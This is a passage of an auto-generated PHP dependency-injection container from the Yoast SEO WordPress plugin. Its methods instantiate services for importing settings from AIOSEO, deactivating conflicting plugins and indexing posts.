        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Custom_Archive_Settings_Importing_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] : $this->getImportCursorHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] : $this->getAioseoRobotsTransformerServiceService()) && false ?: '_'});

        $instance->set_import_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper())) && false ?: '_'});
        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Default_Archive_Settings_Importing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Default_Archive_Settings_Importing_Action
     */
    protected function getAioseoDefaultArchiveSettingsImportingActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Default_Archive_Settings_Importing_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] : $this->getImportCursorHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] : $this->getAioseoRobotsTransformerServiceService()) && false ?: '_'});

        $instance->set_import_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper())) && false ?: '_'});
        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_General_Settings_Importing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_General_Settings_Importing_Action
     */
    protected function getAioseoGeneralSettingsImportingActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_General_Settings_Importing_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] : $this->getImportCursorHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] : $this->getAioseoRobotsTransformerServiceService()) && false ?: '_'});

        $instance->set_import_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper())) && false ?: '_'});
        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posts_Importing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posts_Importing_Action
     */
    protected function getAioseoPostsImportingActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posts_Importing_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] : $this->getImportCursorHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper'] : $this->getIndexableToPostmetaHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] : $this->getAioseoRobotsTransformerServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service'] : $this->getAioseoSocialImagesProviderServiceService()) && false ?: '_'});

        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posttype_Defaults_Settings_Importing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posttype_Defaults_Settings_Importing_Action
     */
    protected function getAioseoPosttypeDefaultsSettingsImportingActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posttype_Defaults_Settings_Importing_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] : $this->getImportCursorHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] : $this->getAioseoRobotsTransformerServiceService()) && false ?: '_'});

        $instance->set_import_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper())) && false ?: '_'});
        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Taxonomy_Settings_Importing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Taxonomy_Settings_Importing_Action
     */
    protected function getAioseoTaxonomySettingsImportingActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Taxonomy_Settings_Importing_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] : $this->getImportCursorHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] : $this->getAioseoRobotsTransformerServiceService()) && false ?: '_'});

        $instance->set_import_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper())) && false ?: '_'});
        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Validate_Data_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Validate_Data_Action
     */
    protected function getAioseoValidateDataActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Validate_Data_Action(${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] : $this->getAioseoCustomArchiveSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] : $this->getAioseoDefaultArchiveSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] : $this->getAioseoGeneralSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] : $this->getAioseoPosttypeDefaultsSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] : $this->getAioseoTaxonomySettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] : $this->getAioseoPostsImportingActionService()) && false ?: '_'});

        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Deactivate_Conflicting_Plugins_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Deactivate_Conflicting_Plugins_Action
     */
    protected function getDeactivateConflictingPluginsActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Deactivate_Conflicting_Plugins_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] : $this->getImportCursorHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] : $this->getAioseoRobotsTransformerServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service'] : ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service'] = new \Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service())) && false ?: '_'});

        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action
     */
    protected function getIndexableHeadActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action'] = new \Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] : $this->getMetaSurfaceService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action
     */
    protected function getIndexableGeneralIndexationActionService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'];
        }

        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action($a);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action
     */
    protected function getIndexableIndexingCompleteActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action
     */
    protected function getIndexablePostIndexationActionService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'];
        }

        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, $a, ${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'}, $b);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action' shared autowired service.
     *
